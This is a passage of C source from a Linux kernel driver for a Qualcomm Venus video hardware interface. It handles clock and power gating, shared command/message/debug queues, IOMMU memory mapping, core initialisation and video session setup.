regulator_disable(device->gdsc); err_enable_gdsc: if (device->res->has_ocmem) venus_hfi_unvote_buses(device, DDR_MEM|OCMEM_MEM); else venus_hfi_unvote_buses(device, DDR_MEM); err_scale_buses: return rc; } static int venus_hfi_power_enable(void *dev) { int rc = 0; struct venus_hfi_device *device = dev; if (!device) { dprintk(VIDC_ERR, "Invalid params: %p\n", device); return -EINVAL; } mutex_lock(&device->clk_pwr_lock); if (!device->power_enabled) rc = venus_hfi_power_on(device); mutex_unlock(&device->clk_pwr_lock); return rc; } static void venus_hfi_pm_hndlr(struct work_struct *work); static DECLARE_DELAYED_WORK(venus_hfi_pm_work, venus_hfi_pm_hndlr); static inline int venus_hfi_clk_gating_off(struct venus_hfi_device *device) { int rc = 0; if (!device) { dprintk(VIDC_ERR, "Invalid params: %p\n", device); return -EINVAL; } if (device->clocks_enabled) { dprintk(VIDC_DBG, "Clocks are already enabled"); goto already_enabled; } cancel_delayed_work(&venus_hfi_pm_work); if (!device->power_enabled) { /*This will enable clocks as well*/ rc = venus_hfi_power_on(device); if (rc) { dprintk(VIDC_ERR, "Failed venus power on"); goto fail_clk_power_on; } } else { rc = venus_hfi_clk_enable(device); if (rc) { dprintk(VIDC_ERR, "Failed venus clock enable"); goto fail_clk_power_on; } venus_hfi_write_register(device, VIDC_WRAPPER_INTR_MASK, VIDC_WRAPPER_INTR_MASK_A2HVCODEC_BMSK, 0); } already_enabled: device->clocks_enabled = 1; fail_clk_power_on: return rc; } static unsigned long venus_hfi_get_clock_rate(struct venus_core_clock *clock, int num_mbs_per_sec) { int num_rows = clock->count; struct load_freq_table *table = clock->load_freq_tbl; unsigned long ret = table[0].freq; int i; for (i = 0; i < num_rows; i++) { if (num_mbs_per_sec > table[i].load) break; ret = table[i].freq; } dprintk(VIDC_PROF, "Required clock rate = %lu\n", ret); return ret; } static int venus_hfi_scale_clocks(void *dev, int load) { int rc = 0; struct venus_hfi_device *device = dev; if (!device) { dprintk(VIDC_ERR, "Invalid args: %p\n", device); return -EINVAL; } device->clk_load = load; rc = clk_set_rate(device->resources.clock[VCODEC_CLK].clk, venus_hfi_get_clock_rate(&device->resources.clock[VCODEC_CLK], load)); if (rc) dprintk(VIDC_ERR, "Failed to set clock rate: %d\n", rc); return rc; } static int venus_hfi_iface_cmdq_write(struct venus_hfi_device *device, void *pkt) { u32 rx_req_is_set = 0; struct vidc_iface_q_info *q_info; int result = -EPERM; if (!device || !pkt) { dprintk(VIDC_ERR, "Invalid Params"); return -EINVAL; } mutex_lock(&device->write_lock); q_info = &device->iface_queues[VIDC_IFACEQ_CMDQ_IDX]; if (!q_info) { dprintk(VIDC_ERR, "cannot write to shared Q's"); goto err_q_null; } if (!venus_hfi_write_queue(q_info, (u8 *)pkt, &rx_req_is_set)) { mutex_lock(&device->clk_pwr_lock); result = venus_hfi_clk_gating_off(device); if (result) { dprintk(VIDC_ERR, "%s : Clock enable failed\n", __func__); mutex_unlock(&device->clk_pwr_lock); goto err_q_write; } result = venus_hfi_scale_clocks(device, device->clk_load); if (result) { dprintk(VIDC_ERR, "Clock scaling failed\n"); mutex_unlock(&device->clk_pwr_lock); goto err_q_write; } if (rx_req_is_set) venus_hfi_write_register( device, VIDC_CPU_IC_SOFTINT, 1 << VIDC_CPU_IC_SOFTINT_H2A_SHFT, 0); result = 0; mutex_unlock(&device->clk_pwr_lock); } else { dprintk(VIDC_ERR, "venus_hfi_iface_cmdq_write:queue_full"); } err_q_write: err_q_null: mutex_unlock(&device->write_lock); return result; } static int venus_hfi_iface_msgq_read(struct venus_hfi_device *device, void *pkt) { u32 tx_req_is_set = 0; int rc = 0; struct vidc_iface_q_info *q_info; if (!pkt) { dprintk(VIDC_ERR, "Invalid Params"); return -EINVAL; } mutex_lock(&device->read_lock); if (device->iface_queues[VIDC_IFACEQ_MSGQ_IDX]. q_array.align_virtual_addr == 0) { dprintk(VIDC_ERR, "cannot read from shared MSG Q's"); rc = -ENODATA; goto read_error_null; } q_info = &device->iface_queues[VIDC_IFACEQ_MSGQ_IDX]; if (!venus_hfi_read_queue(q_info, (u8 *)pkt, &tx_req_is_set)) { mutex_lock(&device->clk_pwr_lock); rc = venus_hfi_clk_gating_off(device); if (rc) { dprintk(VIDC_ERR, "%s : Clock enable failed\n", __func__); mutex_unlock(&device->clk_pwr_lock); goto read_error; } if (tx_req_is_set) venus_hfi_write_register( device, VIDC_CPU_IC_SOFTINT, 1 << VIDC_CPU_IC_SOFTINT_H2A_SHFT, 0); rc = 0; mutex_unlock(&device->clk_pwr_lock); } else { dprintk(VIDC_INFO, "venus_hfi_iface_msgq_read:queue_empty"); rc = -ENODATA; } read_error: read_error_null: mutex_unlock(&device->read_lock); return rc; } static int venus_hfi_iface_dbgq_read(struct venus_hfi_device *device, void *pkt) { u32 tx_req_is_set = 0; int rc = 0; struct vidc_iface_q_info *q_info; if (!pkt) { dprintk(VIDC_ERR, "Invalid Params"); return -EINVAL; } mutex_lock(&device->read_lock); if (device->iface_queues[VIDC_IFACEQ_DBGQ_IDX]. q_array.align_virtual_addr == 0) { dprintk(VIDC_ERR, "cannot read from shared DBG Q's"); rc = -ENODATA; goto dbg_error_null; } q_info = &device->iface_queues[VIDC_IFACEQ_DBGQ_IDX]; if (!venus_hfi_read_queue(q_info, (u8 *)pkt, &tx_req_is_set)) { mutex_lock(&device->clk_pwr_lock); rc = venus_hfi_clk_gating_off(device); if (rc) { dprintk(VIDC_ERR, "%s : Clock enable failed\n", __func__); mutex_unlock(&device->clk_pwr_lock); goto dbg_error; } if (tx_req_is_set) venus_hfi_write_register( device, VIDC_CPU_IC_SOFTINT, 1 << VIDC_CPU_IC_SOFTINT_H2A_SHFT, 0); rc = 0; mutex_unlock(&device->clk_pwr_lock); } else { dprintk(VIDC_INFO, "venus_hfi_iface_dbgq_read:queue_empty"); rc = -ENODATA; } dbg_error: dbg_error_null: mutex_unlock(&device->read_lock); return rc; } static void venus_hfi_set_queue_hdr_defaults(struct hfi_queue_header *q_hdr) { q_hdr->qhdr_status = 0x1; q_hdr->qhdr_type = VIDC_IFACEQ_DFLT_QHDR; q_hdr->qhdr_q_size = VIDC_IFACEQ_QUEUE_SIZE / 4; q_hdr->qhdr_pkt_size = 0; q_hdr->qhdr_rx_wm = 0x1; q_hdr->qhdr_tx_wm = 0x1; q_hdr->qhdr_rx_req = 0x1; q_hdr->qhdr_tx_req = 0x0; q_hdr->qhdr_rx_irq_status = 0x0; q_hdr->qhdr_tx_irq_status = 0x0; q_hdr->qhdr_read_idx = 0x0; q_hdr->qhdr_write_idx = 0x0; } static void venus_hfi_interface_queues_release(struct venus_hfi_device *device) { int i; struct hfi_mem_map_table *qdss; struct hfi_mem_map *mem_map; int num_entries = sizeof(venus_qdss_entries)/(2 * sizeof(u32)); int domain, partition; mutex_lock(&device->write_lock); mutex_lock(&device->read_lock); if (device->qdss.mem_data) { qdss = (struct hfi_mem_map_table *) device->qdss.align_virtual_addr; qdss->mem_map_num_entries = num_entries; qdss->mem_map_table_base_addr = (u32 *)((u32)device->qdss.align_device_addr + sizeof(struct hfi_mem_map_table)); mem_map = (struct hfi_mem_map *)(qdss + 1); msm_smem_get_domain_partition(device->hal_client, 0, HAL_BUFFER_INTERNAL_CMD_QUEUE, &domain, &partition); for (i = 0; i < num_entries; i++) { msm_iommu_unmap_contig_buffer( (unsigned long)(mem_map[i].virtual_addr), domain, partition, SZ_4K); } venus_hfi_free(device, device->qdss.mem_data); } venus_hfi_free(device, device->iface_q_table.mem_data); venus_hfi_free(device, device->sfr.mem_data); for (i = 0; i < VIDC_IFACEQ_NUMQ; i++) { device->iface_queues[i].q_hdr = NULL; device->iface_queues[i].q_array.mem_data = NULL; device->iface_queues[i].q_array.align_virtual_addr = NULL; device->iface_queues[i].q_array.align_device_addr = NULL; } device->iface_q_table.align_virtual_addr = NULL; device->iface_q_table.align_device_addr = NULL; device->qdss.align_virtual_addr = NULL; device->qdss.align_device_addr = NULL; device->sfr.align_virtual_addr = NULL; device->sfr.align_device_addr = NULL; device->mem_addr.align_virtual_addr = NULL; device->mem_addr.align_device_addr = NULL; msm_smem_delete_client(device->hal_client); device->hal_client = NULL; mutex_unlock(&device->read_lock); mutex_unlock(&device->write_lock); } static int venus_hfi_get_qdss_iommu_virtual_addr(struct hfi_mem_map *mem_map, int domain, int partition) { int i; int rc = 0; unsigned long iova = 0; int num_entries = sizeof(venus_qdss_entries)/(2 * sizeof(u32)); for (i = 0; i < num_entries; i++) { rc = msm_iommu_map_contig_buffer(venus_qdss_entries[i][0], domain, partition, venus_qdss_entries[i][1], SZ_4K, 0, &iova); if (rc) { dprintk(VIDC_ERR, "IOMMU QDSS mapping failed for addr 0x%x", venus_qdss_entries[i][0]); rc = -ENOMEM; break; } mem_map[i].virtual_addr = (u32) iova; mem_map[i].physical_addr = venus_qdss_entries[i][0]; mem_map[i].size = venus_qdss_entries[i][1]; mem_map[i].attr = 0x0; } if (i < num_entries) { dprintk(VIDC_ERR, "IOMMU QDSS mapping failed, Freeing entries %d", i); for (--i; i >= 0; i--) { msm_iommu_unmap_contig_buffer( (unsigned long)(mem_map[i].virtual_addr), domain, partition, SZ_4K); } } return rc; } static int venus_hfi_interface_queues_init(struct venus_hfi_device *dev) { struct hfi_queue_table_header *q_tbl_hdr; struct hfi_queue_header *q_hdr; u8 i; int rc = 0; struct hfi_mem_map_table *qdss; struct hfi_mem_map *mem_map; struct vidc_iface_q_info *iface_q; struct hfi_sfr_struct *vsfr; struct vidc_mem_addr *mem_addr; int offset = 0; int num_entries = sizeof(venus_qdss_entries)/(2 * sizeof(u32)); int domain, partition; mem_addr = &dev->mem_addr; rc = venus_hfi_alloc(dev, (void *) mem_addr, QUEUE_SIZE, 1, 0, HAL_BUFFER_INTERNAL_CMD_QUEUE); if (rc) { dprintk(VIDC_ERR, "iface_q_table_alloc_fail"); goto fail_alloc_queue; } dev->iface_q_table.align_virtual_addr = mem_addr->align_virtual_addr; dev->iface_q_table.align_device_addr = mem_addr->align_device_addr; dev->iface_q_table.mem_size = VIDC_IFACEQ_TABLE_SIZE; dev->iface_q_table.mem_data = mem_addr->mem_data; offset += dev->iface_q_table.mem_size; for (i = 0; i < VIDC_IFACEQ_NUMQ; i++) { iface_q = &dev->iface_queues[i]; iface_q->q_array.align_device_addr = mem_addr->align_device_addr + offset; iface_q->q_array.align_virtual_addr = mem_addr->align_virtual_addr + offset; iface_q->q_array.mem_size = VIDC_IFACEQ_QUEUE_SIZE; iface_q->q_array.mem_data = NULL; offset += iface_q->q_array.mem_size; iface_q->q_hdr = VIDC_IFACEQ_GET_QHDR_START_ADDR( dev->iface_q_table.align_virtual_addr, i); venus_hfi_set_queue_hdr_defaults(iface_q->q_hdr); } rc = venus_hfi_alloc(dev, (void *) mem_addr, QDSS_SIZE, 1, 0, HAL_BUFFER_INTERNAL_CMD_QUEUE); if (rc) { dprintk(VIDC_WARN, "qdss_alloc_fail: QDSS messages logging will not work"); dev->qdss.align_device_addr = NULL; } else { dev->qdss.align_device_addr = mem_addr->align_device_addr; dev->qdss.align_virtual_addr = mem_addr->align_virtual_addr; dev->qdss.mem_size = QDSS_SIZE; dev->qdss.mem_data = mem_addr->mem_data; } rc = venus_hfi_alloc(dev, (void *) mem_addr, SFR_SIZE, 1, 0, HAL_BUFFER_INTERNAL_CMD_QUEUE); if (rc) { dprintk(VIDC_WARN, "sfr_alloc_fail: SFR not will work"); dev->sfr.align_device_addr = NULL; } else { dev->sfr.align_device_addr = mem_addr->align_device_addr; dev->sfr.align_virtual_addr = mem_addr->align_virtual_addr; dev->sfr.mem_size = SFR_SIZE; dev->sfr.mem_data = mem_addr->mem_data; } q_tbl_hdr = (struct hfi_queue_table_header *) dev->iface_q_table.align_virtual_addr; q_tbl_hdr->qtbl_version = 0; q_tbl_hdr->qtbl_size = VIDC_IFACEQ_TABLE_SIZE; q_tbl_hdr->qtbl_qhdr0_offset = sizeof( struct hfi_queue_table_header); q_tbl_hdr->qtbl_qhdr_size = sizeof( struct hfi_queue_header); q_tbl_hdr->qtbl_num_q = VIDC_IFACEQ_NUMQ; q_tbl_hdr->qtbl_num_active_q = VIDC_IFACEQ_NUMQ; iface_q = &dev->iface_queues[VIDC_IFACEQ_CMDQ_IDX]; q_hdr = iface_q->q_hdr; q_hdr->qhdr_start_addr = (u32) iface_q->q_array.align_device_addr; q_hdr->qhdr_type |= HFI_Q_ID_HOST_TO_CTRL_CMD_Q; iface_q = &dev->iface_queues[VIDC_IFACEQ_MSGQ_IDX]; q_hdr = iface_q->q_hdr; q_hdr->qhdr_start_addr = (u32) iface_q->q_array.align_device_addr; q_hdr->qhdr_type |= HFI_Q_ID_CTRL_TO_HOST_MSG_Q; iface_q = &dev->iface_queues[VIDC_IFACEQ_DBGQ_IDX]; q_hdr = iface_q->q_hdr; q_hdr->qhdr_start_addr = (u32) iface_q->q_array.align_device_addr; q_hdr->qhdr_type |= HFI_Q_ID_CTRL_TO_HOST_DEBUG_Q; venus_hfi_write_register(dev, VIDC_UC_REGION_ADDR, (u32) dev->iface_q_table.align_device_addr, 0); venus_hfi_write_register(dev, VIDC_UC_REGION_SIZE, SHARED_QSIZE, 0); venus_hfi_write_register(dev, VIDC_CPU_CS_SCIACMDARG2, (u32) dev->iface_q_table.align_device_addr, dev->iface_q_table.align_virtual_addr); venus_hfi_write_register(dev, VIDC_CPU_CS_SCIACMDARG1, 0x01, dev->iface_q_table.align_virtual_addr); qdss = (struct hfi_mem_map_table *) dev->qdss.align_virtual_addr; qdss->mem_map_num_entries = num_entries; qdss->mem_map_table_base_addr = (u32 *) ((u32)dev->qdss.align_device_addr + sizeof(struct hfi_mem_map_table)); mem_map = (struct hfi_mem_map *)(qdss + 1); msm_smem_get_domain_partition(dev->hal_client, 0, HAL_BUFFER_INTERNAL_CMD_QUEUE, &domain, &partition); rc = venus_hfi_get_qdss_iommu_virtual_addr(mem_map, domain, partition); if (rc) { dprintk(VIDC_ERR, "IOMMU mapping failed, Freeing qdss memdata"); venus_hfi_free(dev, dev->qdss.mem_data); dev->qdss.mem_data = NULL; } if (!IS_ERR_OR_NULL(dev->qdss.align_device_addr)) venus_hfi_write_register(dev, VIDC_MMAP_ADDR, (u32) dev->qdss.align_device_addr, 0); vsfr = (struct hfi_sfr_struct *) dev->sfr.align_virtual_addr; vsfr->bufSize = SFR_SIZE; if (!IS_ERR_OR_NULL(dev->sfr.align_device_addr)) venus_hfi_write_register(dev, VIDC_SFR_ADDR, (u32)dev->sfr.align_device_addr , 0); return 0; fail_alloc_queue: return -ENOMEM; } static void venus_hfi_set_registers(struct venus_hfi_device *device) { struct reg_set *reg_set; int i; if (!device->res) { dprintk(VIDC_ERR, "device resources null, cannot set registers\n"); return; } reg_set = &device->res->reg_set; for (i = 0; i < reg_set->count; i++) { venus_hfi_write_register(device, reg_set->reg_tbl[i].reg, reg_set->reg_tbl[i].value, 0); } } static int venus_hfi_sys_set_debug(struct venus_hfi_device *device, int debug) { u8 packet[VIDC_IFACEQ_VAR_SMALL_PKT_SIZE]; int rc = 0; struct hfi_cmd_sys_set_property_packet *pkt = (struct hfi_cmd_sys_set_property_packet *) &packet; rc = create_pkt_cmd_sys_debug_config(pkt, debug); if (rc) { dprintk(VIDC_WARN, "Debug mode setting to FW failed\n"); return -ENOTEMPTY; } if (venus_hfi_iface_cmdq_write(device, pkt)) return -ENOTEMPTY; return 0; } static int venus_hfi_sys_set_idle_message(struct venus_hfi_device *device, int enable) { u8 packet[VIDC_IFACEQ_VAR_SMALL_PKT_SIZE]; struct hfi_cmd_sys_set_property_packet *pkt = (struct hfi_cmd_sys_set_property_packet *) &packet; create_pkt_cmd_sys_idle_indicator(pkt, enable); if (venus_hfi_iface_cmdq_write(device, pkt)) return -ENOTEMPTY; return 0; } static int venus_hfi_core_init(void *device) { struct hfi_cmd_sys_init_packet pkt; struct hfi_cmd_sys_get_property_packet version_pkt; int rc = 0; struct venus_hfi_device *dev; if (device) { dev = device; } else { dprintk(VIDC_ERR, "Invalid device"); return -ENODEV; } dev->intr_status = 0; INIT_LIST_HEAD(&dev->sess_head); mutex_init(&dev->read_lock); mutex_init(&dev->write_lock); mutex_init(&dev->session_lock); venus_hfi_set_registers(dev); if (!dev->hal_client) { dev->hal_client = msm_smem_new_client(SMEM_ION, dev->res); if (dev->hal_client == NULL) { dprintk(VIDC_ERR, "Failed to alloc ION_Client"); rc = -ENODEV; goto err_core_init; } dprintk(VIDC_DBG, "Dev_Virt: 0x%x, Reg_Virt: 0x%x", dev->hal_data->device_base_addr, (u32) dev->hal_data->register_base_addr); rc = venus_hfi_interface_queues_init(dev); if (rc) { dprintk(VIDC_ERR, "failed to init queues"); rc = -ENOMEM; goto err_core_init; } } else { dprintk(VIDC_ERR, "hal_client exists"); rc = -EEXIST; goto err_core_init; } enable_irq(dev->hal_data->irq); venus_hfi_write_register(dev, VIDC_CTRL_INIT, 0x1, 0); rc = venus_hfi_core_start_cpu(dev); if (rc) { dprintk(VIDC_ERR, "Failed to start core"); rc = -ENODEV; goto err_core_init; } rc = create_pkt_cmd_sys_init(&pkt, HFI_VIDEO_ARCH_OX); if (rc) { dprintk(VIDC_ERR, "Failed to create sys init pkt"); goto err_core_init; } if (venus_hfi_iface_cmdq_write(dev, &pkt)) { rc = -ENOTEMPTY; goto err_core_init; } rc = create_pkt_cmd_sys_image_version(&version_pkt); if (rc || venus_hfi_iface_cmdq_write(dev, &version_pkt)) dprintk(VIDC_WARN, "Failed to send image version pkt to f/w"); return rc; err_core_init: disable_irq_nosync(dev->hal_data->irq); return rc; } static int venus_hfi_core_release(void *device) { struct venus_hfi_device *dev; int rc = 0; if (device) { dev = device; } else { dprintk(VIDC_ERR, "invalid device"); return -ENODEV; } if (dev->hal_client) { mutex_lock(&dev->clk_pwr_lock); rc = venus_hfi_clk_gating_off(device); if (rc) { dprintk(VIDC_ERR, "%s : Clock enable failed\n", __func__); mutex_unlock(&dev->clk_pwr_lock); return -EIO; } venus_hfi_write_register(dev, VIDC_CPU_CS_SCIACMDARG3, 0, 0); if (!(dev->intr_status & VIDC_WRAPPER_INTR_STATUS_A2HWD_BMSK)) disable_irq_nosync(dev->hal_data->irq); dev->intr_status = 0; mutex_unlock(&dev->clk_pwr_lock); } dprintk(VIDC_INFO, "HAL exited\n"); return 0; } static int venus_hfi_get_q_size(struct venus_hfi_device *dev, unsigned int q_index) { struct hfi_queue_header *queue; struct vidc_iface_q_info *q_info; u32 write_ptr, read_ptr; u32 rc = 0; if (q_index >= VIDC_IFACEQ_NUMQ) { dprintk(VIDC_ERR, "Invalid q index: %d\n", q_index); return -ENOENT; } q_info = &dev->iface_queues[q_index]; if (!q_info) { dprintk(VIDC_ERR, "cannot read shared Q's\n"); return -ENOENT; } queue = (struct hfi_queue_header *) q_info->q_hdr; if (!queue) { dprintk(VIDC_ERR, "queue not present"); return -ENOENT; } write_ptr = (u32)queue->qhdr_write_idx; read_ptr = (u32)queue->qhdr_read_idx; rc = read_ptr - write_ptr; return rc; } static inline void venus_hfi_clk_gating_on(struct venus_hfi_device *device) { if (!device) { dprintk(VIDC_ERR, "Invalid params: %p\n", device); return; } if (!device->clocks_enabled) { dprintk(VIDC_DBG, "Clocks are already disabled"); goto already_disabled; } /*SYS Idle should be last message so mask any further interrupts * until clocks are enabled again.*/ if (!venus_hfi_get_q_size(device, VIDC_IFACEQ_MSGQ_IDX)) { venus_hfi_write_register(device, VIDC_WRAPPER_INTR_MASK, VIDC_WRAPPER_INTR_MASK_A2HVCODEC_BMSK | VIDC_WRAPPER_INTR_MASK_A2HCPU_BMSK, 0); } venus_hfi_clk_disable(device); if (!queue_delayed_work(device->venus_pm_workq, &venus_hfi_pm_work, msecs_to_jiffies(msm_vidc_pwr_collapse_delay))) dprintk(VIDC_DBG, "PM work already scheduled\n"); already_disabled: device->clocks_enabled = 0; } static void venus_hfi_core_clear_interrupt(struct venus_hfi_device *device) { u32 intr_status = 0; int rc = 0; if (!device->callback) return; mutex_lock(&device->write_lock); mutex_lock(&device->clk_pwr_lock); rc = venus_hfi_clk_gating_off(device); if (rc) { dprintk(VIDC_ERR, "%s : Clock enable failed\n", __func__); goto err_clk_gating_off; } intr_status = venus_hfi_read_register( device, VIDC_WRAPPER_INTR_STATUS); if ((intr_status & VIDC_WRAPPER_INTR_STATUS_A2H_BMSK) || (intr_status & VIDC_WRAPPER_INTR_STATUS_A2HWD_BMSK) || (intr_status & VIDC_CPU_CS_SCIACMDARG0_HFI_CTRL_INIT_IDLE_MSG_BMSK)) { device->intr_status |= intr_status; dprintk(VIDC_DBG, "INTERRUPT for device: 0x%x: " "times: %d interrupt_status: %d", (u32) device, ++device->reg_count, intr_status); } else { dprintk(VIDC_INFO, "SPURIOUS_INTR for device: 0x%x: " "times: %d interrupt_status: %d", (u32) device, ++device->spur_count, intr_status); } venus_hfi_write_register(device, VIDC_CPU_CS_A2HSOFTINTCLR, 1, 0); venus_hfi_write_register(device, VIDC_WRAPPER_INTR_CLEAR, intr_status, 0); dprintk(VIDC_DBG, "Cleared WRAPPER/A2H interrupt"); err_clk_gating_off: mutex_unlock(&device->clk_pwr_lock); mutex_unlock(&device->write_lock); } static int venus_hfi_core_set_resource(void *device, struct vidc_resource_hdr *resource_hdr, void *resource_value) { struct hfi_cmd_sys_set_resource_packet *pkt; u8 packet[VIDC_IFACEQ_VAR_SMALL_PKT_SIZE]; int rc = 0; struct venus_hfi_device *dev; if (!device || !resource_hdr || !resource_value) { dprintk(VIDC_ERR, "set_res: Invalid Params"); return -EINVAL; } else { dev = device; } pkt = (struct hfi_cmd_sys_set_resource_packet *) packet; rc = create_pkt_set_cmd_sys_resource(pkt, resource_hdr, resource_value); if (rc) { dprintk(VIDC_ERR, "set_res: failed to create packet"); goto err_create_pkt; } if (venus_hfi_iface_cmdq_write(dev, pkt)) rc = -ENOTEMPTY; err_create_pkt: return rc; } static int venus_hfi_core_release_resource(void *device, struct vidc_resource_hdr *resource_hdr) { struct hfi_cmd_sys_release_resource_packet pkt; int rc = 0; struct venus_hfi_device *dev; if (!device || !resource_hdr) { dprintk(VIDC_ERR, "Inv-Params in rel_res"); return -EINVAL; } else { dev = device; } rc = create_pkt_cmd_sys_release_resource(&pkt, resource_hdr); if (rc) { dprintk(VIDC_ERR, "release_res: failed to create packet"); goto err_create_pkt; } if (venus_hfi_iface_cmdq_write(dev, &pkt)) rc = -ENOTEMPTY; err_create_pkt: return rc; } static int venus_hfi_core_ping(void *device) { struct hfi_cmd_sys_ping_packet pkt; int rc = 0; struct venus_hfi_device *dev; if (device) { dev = device; } else { dprintk(VIDC_ERR, "invalid device"); return -ENODEV; } rc = create_pkt_cmd_sys_ping(&pkt); if (rc) { dprintk(VIDC_ERR, "core_ping: failed to create packet"); goto err_create_pkt; } if (venus_hfi_iface_cmdq_write(dev, &pkt)) rc = -ENOTEMPTY; err_create_pkt: return rc; } static int venus_hfi_core_trigger_ssr(void *device, enum hal_ssr_trigger_type type) { struct hfi_cmd_sys_test_ssr_packet pkt; int rc = 0; struct venus_hfi_device *dev; if (device) { dev = device; } else { dprintk(VIDC_ERR, "invalid device"); return -ENODEV; } rc = create_pkt_ssr_cmd(type, &pkt); if (rc) { dprintk(VIDC_ERR, "core_ping: failed to create packet"); goto err_create_pkt; } if (venus_hfi_iface_cmdq_write(dev, &pkt)) rc = -ENOTEMPTY; err_create_pkt: return rc; } static int venus_hfi_session_set_property(void *sess, enum hal_property ptype, void *pdata) { u8 packet[VIDC_IFACEQ_VAR_LARGE_PKT_SIZE]; struct hfi_cmd_session_set_property_packet *pkt = (struct hfi_cmd_session_set_property_packet *) &packet; struct hal_session *session; int rc = 0; if (!sess || !pdata) { dprintk(VIDC_ERR, "Invalid Params"); return -EINVAL; } else { session = sess; } dprintk(VIDC_INFO, "in set_prop,with prop id: 0x%x", ptype); if (create_pkt_cmd_session_set_property(pkt, (u32)session, ptype, pdata)) { dprintk(VIDC_ERR, "set property: failed to create packet"); return -EINVAL; } if (venus_hfi_iface_cmdq_write(session->device, pkt)) return -ENOTEMPTY; return rc; } static int venus_hfi_session_get_property(void *sess, enum hal_property ptype, void *pdata) { struct hal_session *session; if (!sess || !pdata) { dprintk(VIDC_ERR, "Invalid Params in "); return -EINVAL; } else { session = sess; } dprintk(VIDC_INFO, "IN func: , with property id: %d", ptype); switch (ptype) { case HAL_CONFIG_FRAME_RATE: break; case HAL_PARAM_UNCOMPRESSED_FORMAT_SELECT: break; case HAL_PARAM_UNCOMPRESSED_PLANE_ACTUAL_CONSTRAINTS_INFO: break; case HAL_PARAM_UNCOMPRESSED_PLANE_ACTUAL_INFO: break; case HAL_PARAM_EXTRA_DATA_HEADER_CONFIG: break; case HAL_PARAM_FRAME_SIZE: break; case HAL_CONFIG_REALTIME: break; case HAL_PARAM_BUFFER_COUNT_ACTUAL: break; case HAL_PARAM_NAL_STREAM_FORMAT_SELECT: break; case HAL_PARAM_VDEC_OUTPUT_ORDER: break; case HAL_PARAM_VDEC_PICTURE_TYPE_DECODE: break; case HAL_PARAM_VDEC_OUTPUT2_KEEP_ASPECT_RATIO: break; case HAL_CONFIG_VDEC_POST_LOOP_DEBLOCKER: break; case HAL_PARAM_VDEC_MULTI_STREAM: break; case HAL_PARAM_VDEC_DISPLAY_PICTURE_BUFFER_COUNT: break; case HAL_PARAM_DIVX_FORMAT: break; case HAL_CONFIG_VDEC_MB_ERROR_MAP_REPORTING: break; case HAL_PARAM_VDEC_CONTINUE_DATA_TRANSFER: break; case HAL_CONFIG_VDEC_MB_ERROR_MAP: break; case HAL_CONFIG_VENC_REQUEST_IFRAME: break; case HAL_PARAM_VENC_MPEG4_SHORT_HEADER: break; case HAL_PARAM_VENC_MPEG4_AC_PREDICTION: break; case HAL_CONFIG_VENC_TARGET_BITRATE: break; case HAL_PARAM_PROFILE_LEVEL_CURRENT: break; case HAL_PARAM_VENC_H264_ENTROPY_CONTROL: break; case HAL_PARAM_VENC_RATE_CONTROL: break; case HAL_PARAM_VENC_MPEG4_TIME_RESOLUTION: break; case HAL_PARAM_VENC_MPEG4_HEADER_EXTENSION: break; case HAL_PARAM_VENC_H264_DEBLOCK_CONTROL: break; case HAL_PARAM_VENC_SESSION_QP: break; case HAL_CONFIG_VENC_INTRA_PERIOD: break; case HAL_CONFIG_VENC_IDR_PERIOD: break; case HAL_CONFIG_VPE_OPERATIONS: break; case HAL_PARAM_VENC_INTRA_REFRESH: break; case HAL_PARAM_VENC_MULTI_SLICE_CONTROL: break; case HAL_CONFIG_VPE_DEINTERLACE: break; case HAL_SYS_DEBUG_CONFIG: break; case HAL_PARAM_BUFFER_ALLOC_MODE: break; case HAL_PARAM_VDEC_FRAME_ASSEMBLY: break; /*FOLLOWING PROPERTIES ARE NOT IMPLEMENTED IN CORE YET*/ case HAL_CONFIG_BUFFER_REQUIREMENTS: case HAL_CONFIG_PRIORITY: case HAL_CONFIG_BATCH_INFO: case HAL_PARAM_METADATA_PASS_THROUGH: case HAL_SYS_IDLE_INDICATOR: case HAL_PARAM_UNCOMPRESSED_FORMAT_SUPPORTED: case HAL_PARAM_INTERLACE_FORMAT_SUPPORTED: case HAL_PARAM_CHROMA_SITE: case HAL_PARAM_PROPERTIES_SUPPORTED: case HAL_PARAM_PROFILE_LEVEL_SUPPORTED: case HAL_PARAM_CAPABILITY_SUPPORTED: case HAL_PARAM_NAL_STREAM_FORMAT_SUPPORTED: case HAL_PARAM_MULTI_VIEW_FORMAT: case HAL_PARAM_MAX_SEQUENCE_HEADER_SIZE: case HAL_PARAM_CODEC_SUPPORTED: case HAL_PARAM_VDEC_MULTI_VIEW_SELECT: case HAL_PARAM_VDEC_MB_QUANTIZATION: case HAL_PARAM_VDEC_NUM_CONCEALED_MB: case HAL_PARAM_VDEC_H264_ENTROPY_SWITCHING: case HAL_PARAM_VENC_SLICE_DELIVERY_MODE: case HAL_PARAM_VENC_MPEG4_DATA_PARTITIONING: case HAL_CONFIG_BUFFER_COUNT_ACTUAL: case HAL_CONFIG_VDEC_MULTI_STREAM: case HAL_PARAM_VENC_MULTI_SLICE_INFO: case HAL_CONFIG_VENC_TIMESTAMP_SCALE: case HAL_PARAM_VENC_LOW_LATENCY: default: dprintk(VIDC_INFO, "DEFAULT: Calling 0x%x", ptype); break; } return 0; } static void *venus_hfi_session_init(void *device, u32 session_id, enum hal_domain session_type, enum hal_video_codec codec_type) { struct hfi_cmd_sys_session_init_packet pkt; struct hal_session *new_session; struct venus_hfi_device *dev; if (device) { dev = device; } else { dprintk(VIDC_ERR, "invalid device"); return NULL; } new_session = (struct hal_session *) kzalloc(sizeof(struct hal_session), GFP_KERNEL); new_session->session_id = (u32) session_id; if (session_type == 1) new_session->is_decoder = 0; else if (session_type == 2) new_session->is_decoder = 1; new_session->device = dev; mutex_lock(&dev->session_lock); list_add_tail(&new_session->list, &dev->sess_head); mutex_unlock(&dev->session_lock); if (create_pkt_cmd_sys_session_init(&pkt, (u32)new_session, session_type, codec_type)) { dprintk(VIDC_ERR, "session_init: failed to create packet"); goto err_session_init_fail; } if (venus_hfi_sys_set_debug(dev, msm_fw_debug)) dprintk(VIDC_ERR, "Setting fw_debug msg ON failed"); if (venus_hfi_sys_set_idle_message(dev, msm_fw_low_power_mode)) dprintk(VIDC_ERR, "Setting idle response ON failed"); if (venus_hfi_iface_cmdq_write(dev, &pkt)) goto err_session_init_fail; return (void *) new_session; err_session_init_fail: kfree(new_session); return NULL; } static int venus_hfi_send_session_cmd(void *session_id, int pkt_type) { struct vidc_hal_session_cmd_pkt pkt; int rc = 0; struct hal_session *session; if (session_id) { session = session_id; } else { dprintk(VIDC_ERR, "invalid session"); return -ENODEV; } rc = create_pkt_cmd_session_cmd(&pkt, 